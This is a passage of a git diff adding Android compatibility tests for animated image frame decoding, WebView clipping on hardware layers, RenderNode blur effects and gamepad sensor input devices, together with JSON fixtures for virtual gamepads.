+     * @param test Lambda with two parameters: A pointer to the native decoder, and the
+     *             current frame number.
+     */
+    private fun testFrameInfo(image: String, test: (Long, Int) -> Unit) {
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+        val frameInfo = nCreateFrameInfo()
+        var frame = 0
+        do {
+            assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nGetFrameInfo(decoder, frameInfo),
+                "Failed to getFrameInfo for frame $frame of $image!")
+            test(frameInfo, frame)
+            frame++
+        } while (ANDROID_IMAGE_DECODER_SUCCESS == nAdvanceFrame(decoder))
+
+        nDeleteFrameInfo(frameInfo)
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    fun animationsAndRects() = arrayOf(
+        // Each group of four Ints represents a frame's rectangle
+        arrayOf<Any>("animated.gif", intArrayOf(0, 0, 278, 183,
+                                                0, 0, 278, 183,
+                                                0, 0, 278, 183,
+                                                0, 0, 278, 183)),
+        arrayOf<Any>("animated_webp.webp", intArrayOf(0, 0, 278, 183,
+                                                      0, 0, 278, 183,
+                                                      0, 0, 278, 183,
+                                                      0, 0, 278, 183)),
+        arrayOf<Any>("required_gif.gif", intArrayOf(0, 0, 100, 100,
+                                                    0, 0, 75, 75,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 60, 60,
+                                                    0, 0, 100, 100,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 75, 75)),
+        arrayOf<Any>("required_webp.webp", intArrayOf(0, 0, 100, 100,
+                                                      0, 0, 75, 75,
+                                                      0, 0, 50, 50,
+                                                      0, 0, 60, 60,
+                                                      0, 0, 100, 100,
+                                                      0, 0, 50, 50,
+                                                      0, 0, 75, 75)),
+        arrayOf<Any>("alphabetAnim.gif", intArrayOf(25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    37, 37, 62, 62,
+                                                    37, 37, 62, 62,
+                                                    25, 25, 75, 75,
+                                                    0, 0, 50, 50,
+                                                    0, 0, 100, 100,
+                                                    25, 25, 75, 75,
+                                                    25, 25, 75, 75,
+                                                    0, 0, 100, 100,
+                                                    25, 25, 75, 75,
+                                                    37, 37, 62, 62)),
+
+        arrayOf<Any>("blendBG.webp", intArrayOf(0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                0, 0, 200, 200,
+                                                100, 100, 200, 200,
+                                                100, 100, 200, 200)),
+        arrayOf<Any>("stoplight.webp", intArrayOf(0, 0, 145, 55,
+                                                  0, 0, 145, 55,
+                                                  0, 0, 145, 55))
+    )
+
+    @Test
+    @Parameters(method = "animationsAndRects")
+    fun testFrameRects(image: String, rects: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            val left = rects[i * 4]
+            val top = rects[i * 4 + 1]
+            val right = rects[i * 4 + 2]
+            val bottom = rects[i * 4 + 3]
+            try {
+                nTestGetFrameRect(frameInfo, left, top, right, bottom)
+            } catch (t: Throwable) {
+                throw AssertionError("$image, frame $i: ${t.message}", t)
+            }
+    }
+
+    fun animationsAndAlphas() = arrayOf(
+        arrayOf<Any>("animated.gif", BooleanArray(4) { true }),
+        arrayOf<Any>("animated_webp.webp", BooleanArray(4) { true }),
+        arrayOf<Any>("required_gif.gif", booleanArrayOf(false, true, true, true,
+                true, true, true, true)),
+        arrayOf<Any>("required_webp.webp", BooleanArray(7) { false }),
+        arrayOf<Any>("alphabetAnim.gif", booleanArrayOf(true, false, true, false,
+                true, true, true, true, true, true, true, true, true)),
+        arrayOf<Any>("blendBG.webp", booleanArrayOf(false, true, false, true,
+                                                 false, true, true)),
+        arrayOf<Any>("stoplight.webp", BooleanArray(3) { false })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndAlphas")
+    fun testAlphas(image: String, alphas: BooleanArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(alphas[i], nGetFrameAlpha(frameInfo), "Mismatch in alpha for $image frame $i "
+                    + "expected ${alphas[i]}")
+    }
+
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE = 1
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND = 2
+    private val ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS = 3
+
+    fun animationsAndDisposeOps() = arrayOf(
+        arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND }),
+        arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+        arrayOf<Any>("required_gif.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("alphabetAnim.gif", intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND, ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, ANDROID_IMAGE_DECODER_DISPOSE_OP_BACKGROUND,
+                ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)),
+        arrayOf<Any>("blendBG.webp", IntArray(7) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE }),
+        arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndDisposeOps")
+    fun testDisposeOps(image: String, disposeOps: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(disposeOps[i], nGetDisposeOp(frameInfo))
+    }
+
+    private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC = 1
+    private val ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER = 2
+
+    fun animationsAndBlendOps() = arrayOf(
+        arrayOf<Any>("animated.gif", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("animated_webp.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC }),
+        arrayOf<Any>("required_gif.gif", IntArray(7) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("required_webp.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER)),
+        arrayOf<Any>("alphabetAnim.gif", IntArray(13) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER }),
+        arrayOf<Any>("blendBG.webp", intArrayOf(ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC,
+                ANDROID_IMAGE_DECODER_BLEND_OP_SRC, ANDROID_IMAGE_DECODER_BLEND_OP_SRC)),
+        arrayOf<Any>("stoplight.webp", IntArray(4) { ANDROID_IMAGE_DECODER_BLEND_OP_SRC_OVER })
+    )
+
+    @Test
+    @Parameters(method = "animationsAndBlendOps")
+    fun testBlendOps(image: String, blendOps: IntArray) = testFrameInfo(image) {
+        frameInfo, i ->
+            assertEquals(blendOps[i], nGetBlendOp(frameInfo), "Mismatch in blend op for $image "
+                        + "frame $i, expected: ${blendOps[i]}")
+    }
+
+    @Test
+    fun testHandleDisposePrevious() {
+        // The first frame is ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE, followed by a single
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS frame. The third frame looks different
+        // depending on whether that is respected.
+        val image = "RestorePrevious.gif"
+        val disposeOps = intArrayOf(ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS,
+                                    ANDROID_IMAGE_DECODER_DISPOSE_OP_NONE)
+        val asset = nOpenAsset(getAssets(), image)
+        val decoder = nCreateFromAsset(asset)
+
+        val width = nGetWidth(decoder)
+        val height = nGetHeight(decoder)
+        val bitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888, true)
+
+        val verifiers = arrayOf<BitmapVerifier>(
+            ColorVerifier(Color.BLACK, 0),
+            RectVerifier(Color.BLACK, Color.RED, Rect(0, 0, 100, 80), 0),
+            RectVerifier(Color.BLACK, Color.GREEN, Rect(0, 0, 100, 50), 0))
+
+        with(nCreateFrameInfo()) {
+            for (i in 0..2) {
+                nGetFrameInfo(decoder, this)
+                assertEquals(disposeOps[i], nGetDisposeOp(this))
+
+                nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+                assertTrue(verifiers[i].verify(bitmap))
+                nAdvanceFrame(decoder)
+            }
+            nDeleteFrameInfo(this)
+        }
+
+        // Now redecode without letting AImageDecoder handle
+        // ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, false)
+
+        // If the client does not handle ANDROID_IMAGE_DECODER_DISPOSE_OP_PREVIOUS
+        // the final frame does not match.
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertEquals(i != 2, verifiers[i].verify(bitmap))
+
+            if (i == 2) {
+                // Not only can we verify that frame 2 does not look as expected, but it
+                // should look as if we decoded frame 1 and did not revert it.
+                val verifier = RegionVerifier()
+                verifier.addVerifier(Rect(0, 0, 100, 50), ColorVerifier(Color.GREEN, 0))
+                verifier.addVerifier(Rect(0, 50, 100, 80), ColorVerifier(Color.RED, 0))
+                verifier.addVerifier(Rect(0, 80, 100, 100), ColorVerifier(Color.BLACK, 0))
+                assertTrue(verifier.verify(bitmap))
+            }
+            nAdvanceFrame(decoder)
+        }
+
+        // Now redecode and manually store/restore the first frame.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+        val storedFrame = bitmap
+        for (i in 1..2) {
+            assertEquals(nAdvanceFrame(decoder), ANDROID_IMAGE_DECODER_SUCCESS)
+            val frame = storedFrame.copy(storedFrame.config, true)
+            nDecode(decoder, frame, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(frame))
+            frame.recycle()
+        }
+
+        // This setting can be switched back, so that AImageDecoder handles it.
+        bitmap.eraseColor(Color.TRANSPARENT)
+        assertEquals(ANDROID_IMAGE_DECODER_SUCCESS, nRewind(decoder))
+        nSetHandleDisposePrevious(decoder, true)
+
+        for (i in 0..2) {
+            nDecode(decoder, bitmap, ANDROID_IMAGE_DECODER_SUCCESS)
+            assertTrue(verifiers[i].verify(bitmap))
+            nAdvanceFrame(decoder)
+        }
+
+        bitmap.recycle()
+        nDeleteDecoder(decoder)
+        nCloseAsset(asset)
+    }
+
+    private external fun nTestNullDecoder()
+    private external fun nTestToString()
+    private external fun nOpenAsset(assets: AssetManager, name: String): Long
+    private external fun nCloseAsset(asset: Long)
+    private external fun nCreateFromAsset(asset: Long): Long
+    private external fun nGetWidth(decoder: Long): Int
+    private external fun nGetHeight(decoder: Long): Int
+    private external fun nDeleteDecoder(decoder: Long)
+    private external fun nSetTargetSize(decoder: Long, width: Int, height: Int): Int
+    private external fun nSetCrop(decoder: Long, left: Int, top: Int, right: Int, bottom: Int): Int
+    private external fun nDecode(decoder: Long, dst: Bitmap, expectedResult: Int)
+    private external fun nAdvanceFrame(decoder: Long): Int
+    private external fun nRewind(decoder: Long): Int
+    private external fun nSetUnpremultipliedRequired(decoder: Long, required: Boolean): Int
+    private external fun nSetAndroidBitmapFormat(decoder: Long, format: Int): Int
+    private external fun nSetDataSpace(decoder: Long, format: Int): Int
+    private external fun nCreateFrameInfo(): Long
+    private external fun nDeleteFrameInfo(frameInfo: Long)
+    private external fun nGetFrameInfo(decoder: Long, frameInfo: Long): Int
+    private external fun nTestNullFrameInfo(assets: AssetManager, name: String)
+    private external fun nGetDuration(frameInfo: Long): Long
+    private external fun nTestGetFrameRect(
+        frameInfo: Long,
+        expectedLeft: Int,
+        expectedTop: Int,
+        expectedRight: Int,
+        expectedBottom: Int
+    )
+    private external fun nGetFrameAlpha(frameInfo: Long): Boolean
+    private external fun nGetAlpha(decoder: Long): Boolean
+    private external fun nGetDisposeOp(frameInfo: Long): Int
+    private external fun nGetBlendOp(frameInfo: Long): Int
+    private external fun nGetRepeatCount(decoder: Long): Int
+    private external fun nSetHandleDisposePrevious(decoder: Long, handle: Boolean)
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
index f42b004..e409cbf 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/LayerTests.java
@@ -623,16 +623,46 @@
 
     @LargeTest
     @Test
-    public void testWebViewWithLayerAndComplexClip() {
+    public void testWebViewOnHWLayerAndComplexAntiAliasedClip() {
         if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
             return; // no WebView to run test on
         }
+
         CountDownLatch hwFence = new CountDownLatch(1);
         createTest()
                 // golden client - draw a simple non-AA circle
                 .addCanvasClient((canvas, width, height) -> {
                     Paint paint = new Paint();
-                    paint.setAntiAlias(false);
+                    paint.setAntiAlias(true);
+                    paint.setColor(Color.BLUE);
+                    canvas.drawOval(0, 0, width, height, paint);
+                }, false)
+                // verify against solid color webview, clipped to its parent oval
+                .addLayout(R.layout.circle_clipped_webview, (ViewInitializer) view -> {
+                    FrameLayout layout = view.requireViewById(R.id.circle_clip_frame_layout);
+                    WebView webview = view.requireViewById(R.id.webview);
+                    // Promote the webview onto its own layer
+                    webview.setLayerType(View.LAYER_TYPE_HARDWARE, null);
+                    WebViewReadyHelper helper = new WebViewReadyHelper(webview, hwFence);
+                    helper.loadData("<body style=\"background-color:blue\">");
+
+                }, true, hwFence)
+                .runWithComparer(new MSSIMComparer(0.98));
+    }
+
+    @LargeTest
+    @Test
+    public void testWebViewWithParentLayerAndComplexClip() {
+        if (!getActivity().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WEBVIEW)) {
+            return; // no WebView to run test on
+        }
+
+        CountDownLatch hwFence = new CountDownLatch(1);
+        createTest()
+                // golden client - draw a simple AA circle
+                .addCanvasClient((canvas, width, height) -> {
+                    Paint paint = new Paint();
+                    paint.setAntiAlias(true);
                     paint.setColor(Color.BLUE);
                     canvas.drawOval(0, 0, width, height, paint);
                 }, false)
@@ -646,6 +676,7 @@
                     helper.loadData("<body style=\"background-color:blue\">");
 
                 }, true, hwFence)
-                .runWithComparer(new MSSIMComparer(0.95));
+                // WebView is not on its own layer, so the parent clip may not be AA
+                .runWithComparer(new MSSIMComparer(0.93));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index 92bc5ac..dca536f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -26,6 +26,7 @@
 import android.graphics.BlendModeColorFilter;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.ColorFilter;
 import android.graphics.ColorMatrix;
 import android.graphics.ColorMatrixColorFilter;
 import android.graphics.Paint;
@@ -34,12 +35,18 @@
 import android.graphics.RenderEffect;
 import android.graphics.RenderNode;
 import android.graphics.Shader;
+import android.graphics.drawable.Drawable;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.BlurPixelVerifier;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.bitmapverifiers.RegionVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.view.View;
+import android.widget.FrameLayout;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
 
@@ -581,6 +588,73 @@
     }
 
     @Test
+    public void testViewRenderNodeBlurEffect() {
+        final int blurRadius = 10;
+        final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
+        final Rect insetBounds = new Rect(blurRadius, blurRadius, TEST_WIDTH - blurRadius,
+                TEST_HEIGHT - blurRadius);
+
+        final Rect unblurredBounds = new Rect(insetBounds);
+        unblurredBounds.inset(blurRadius, blurRadius);
+        createTest()
+                .addLayout(R.layout.frame_layout, (view) -> {
+                    FrameLayout root = view.findViewById(R.id.frame_layout);
+                    View innerView = new View(view.getContext());
+                    innerView.setLayoutParams(
+                            new FrameLayout.LayoutParams(TEST_WIDTH, TEST_HEIGHT));
+                    innerView.setBackground(new TestDrawable());
+                    root.addView(innerView);
+                }, true)
+                .runWithVerifier(
+                        new RegionVerifier()
+                                .addVerifier(
+                                        unblurredBounds,
+                                        new ColorVerifier(Color.BLUE))
+                                .addVerifier(
+                                        fullBounds,
+                                        new BlurPixelVerifier(Color.BLUE, Color.WHITE)
+                                )
+            );
+    }
+
+    private static class TestDrawable extends Drawable {
+
+        private final Paint mPaint = new Paint();
+
+        @Override
+        public void draw(@NonNull Canvas canvas) {
+            mPaint.setColor(Color.WHITE);
+
+            Rect rect = getBounds();
+            canvas.drawRect(rect, mPaint);
+            mPaint.setColor(Color.BLUE);
+
+            canvas.drawRect(
+                    10,
+                    10,
+                    rect.right - 10,
+                    rect.bottom - 10,
+                    mPaint
+            );
+        }
+
+        @Override
+        public void setAlpha(int alpha) {
+            // No-op
+        }
+
+        @Override
+        public void setColorFilter(@Nullable ColorFilter colorFilter) {
+            // No-op
+        }
+
+        @Override
+        public int getOpacity() {
+            return 0;
+        }
+    }
+
+    @Test
     public void testBlurRenderEffect() {
         final int blurRadius = 10;
         final Rect fullBounds = new Rect(0, 0, TEST_WIDTH, TEST_HEIGHT);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
new file mode 100644
index 0000000..0c4701f
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/AssertionError.kt
@@ -0,0 +1,26 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.util
+
+/**
+ * Helper to use ThrowNew from JNI to throw an AssertionError.
+ *
+ * ThrowNew calls <init>(String), but that constructor for AssertionError is
+ * private. In this case, there is no Throwable cause, so simplify the native
+ * code.
+ */
+class AssertionError(msg: String) : java.lang.AssertionError(msg, null)
diff --git a/tests/tests/view/res/raw/gamepad_sensors_register.json b/tests/tests/view/res/raw/gamepad_sensors_register.json
new file mode 100644
index 0000000..abd0e5f
--- /dev/null
+++ b/tests/tests/view/res/raw/gamepad_sensors_register.json
@@ -0,0 +1,68 @@
+{
+    "id": 1,
+    "type": "uinput",
+    "command": "register",
+    "name": "Gamepad with Motion Sensors (USB Test)",
+    "vid": 0x054c,
+    "pid": 0x05c4,
+    "bus": "usb",
+    "configuration":[
+        {"type":100, "data":[1, 3, 4, 21]},  // UI_SET_EVBIT : EV_KEY EV_ABS EV_MSC and EV_FF
+        {"type":101, "data":[11, 2, 3, 4]},   // UI_SET_KEYBIT : KEY_0 KEY_1 KEY_2 KEY_3
+        {"type":107, "data":[80]},    //  UI_SET_FFBIT : FF_RUMBLE
+        {"type":110, "data":[6]},    //  UI_SET_PROP :  INPUT_PROP_ACCELEROMETER
+        {"type":104, "data":[5]},        // UI_SET_MSCBIT : MSC_TIMESTAMP
+        {"type":103, "data":[0, 1, 2, 3, 4, 5]}   // UI_SET_ABSBIT : ABS_X/Y/Z/RX/RY/RZ
+    ],
+    "ff_effects_max" : 1,
+    "abs_info": [
+        {"code":0, "info": {       // ABS_X
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":1, "info": {       // ABS_Y
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":2, "info": {       // ABS_Z
+            "value": 100,
+            "minimum": -32768,
+            "maximum": 32768,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 8192
+        }},
+        {"code":3, "info": {       // ABS_RX
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }},
+        {"code":4, "info": {       // ABS_RY
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }},
+        {"code":5, "info": {       // ABS_RZ
+            "value": 100,
+            "minimum": -2097152,
+            "maximum": 2097152,
+            "fuzz": 16,
+            "flat": 0,
+            "resolution": 1024
+        }}
+    ]
+}
diff --git a/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
new file mode 100644
index 0000000..3e3f9db
--- /dev/null
+++ b/tests/tests/view/res/raw/google_gamepad_vibratormanagertests.json
@@ -0,0 +1,21 @@
+[
+    {
+      "id": 1,
+      "durations" : [1000],
+      "amplitudes":
+        {
+            "0" : [192],
+            "1" : [192]
+        }
+    },
+
+    {
+        "id": 1,
+        "durations" : [2000, 2000, 2000, 2000, 2000],
+        "amplitudes":
+          {
+              "0" : [16, 32, 64, 128, 255],
+              "1" : [255, 128 ,32, 32, 64]
+          }
+    }
+]
diff --git a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
index f31b16e..edfb312 100644
--- a/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewOnReceiveContentTest.java
@@ -25,22 +25,17 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.when;
 
-import android.app.Instrumentation;
 import android.content.ClipData;
 import android.content.ClipDescription;
-import android.content.Context;
 import android.net.Uri;
 import android.view.ContentInfo;
 import android.view.OnReceiveContentListener;
 import android.view.View;
 
-import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 import androidx.test.rule.ActivityTestRule;
 
-import com.android.compatibility.common.util.PollingCheck;
-
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -56,17 +51,12 @@
     public ActivityTestRule<ViewTestCtsActivity> mActivityRule = new ActivityTestRule<>(
             ViewTestCtsActivity.class);
 
-    private Instrumentation mInstrumentation;
-    private Context mContext;
     private ViewTestCtsActivity mActivity;
     private OnReceiveContentListener mReceiver;
 
     @Before
     public void before() {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mContext = mInstrumentation.getTargetContext();
         mActivity = mActivityRule.getActivity();
-        PollingCheck.waitFor(mActivity::hasWindowFocus);
         mReceiver = mock(OnReceiveContentListener.class);
     }
 
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
new file mode 100644
index 0000000..0f4580d
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
@@ -0,0 +1,479 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener;
+import android.hardware.SensorManager;
+import android.hardware.input.InputManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.MemoryFile;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link android.view.InputDevice} sensor functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceSensorManagerTest {
+    private static final String TAG = "InputDeviceSensorManagerTest";
+    private static final int SENSOR_VEC_LENGTH = 3;
+    private static final int EV_SYN = 0;
+    private static final int EV_ABS = 3;
+    private static final int EV_MSC = 4;
+    private static final int ABS_X = 0;
+    private static final int ABS_Y = 1;
+    private static final int ABS_Z = 2;
+    private static final int ABS_RX = 3;
+    private static final int ABS_RY = 4;
+    private static final int ABS_RZ = 5;
+    private static final int MSC_TIMESTAMP = 5;
+    // The time interval for between sensor time events, in unit of micro seconds.
+    private static final int TIME_INTERVAL_US = 10000;
+    // Requested sensor listening interval, to pass to registerListener API,
+    // in unit of milli seconds.
+    private static final int SAMPLING_INTERVAL_US = 20000;
+    // The Gyroscope sensor hardware resolution of 1 unit, degree/second.
+    private static final float GYRO_RESOLUTION = 1024.0f;
+    // The Accelerometer sensor hardware resolution of 1 unit, per g.
+    private static final float ACCEL_RESOLUTION = 8192.0f;
+    // Numbers of sensor samples to run.
+    private static final int RUNNING_SAMPLES = 100;
+    // Sensor raw value increment step for each sensor event.
+    private static final int SAMPLE_STEP = 925;
+    // Tolerance of sensor event values.
+    private static final float TOLERANCE = 0.01f;
+    // Linux accelerometer unit is per g,  Android unit is m/s^2
+    private static final float GRAVITY_MS2_UNIT = 9.80665f;
+    // Linux gyroscope unit is degree/second, Android unit is radians/second
+    private static final float DEGREE_RADIAN_UNIT = 0.0174533f;
+    // Share memory size
+    private static final int SHARED_MEMORY_SIZE = 8192;
+
+    private static final int CONNECTION_TIMEOUT_SEC = 3;
+
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private SensorManager mSensorManager;
+    private HandlerThread mSensorThread = null;
+    private Handler mSensorHandler = null;
+    private int mDeviceId;
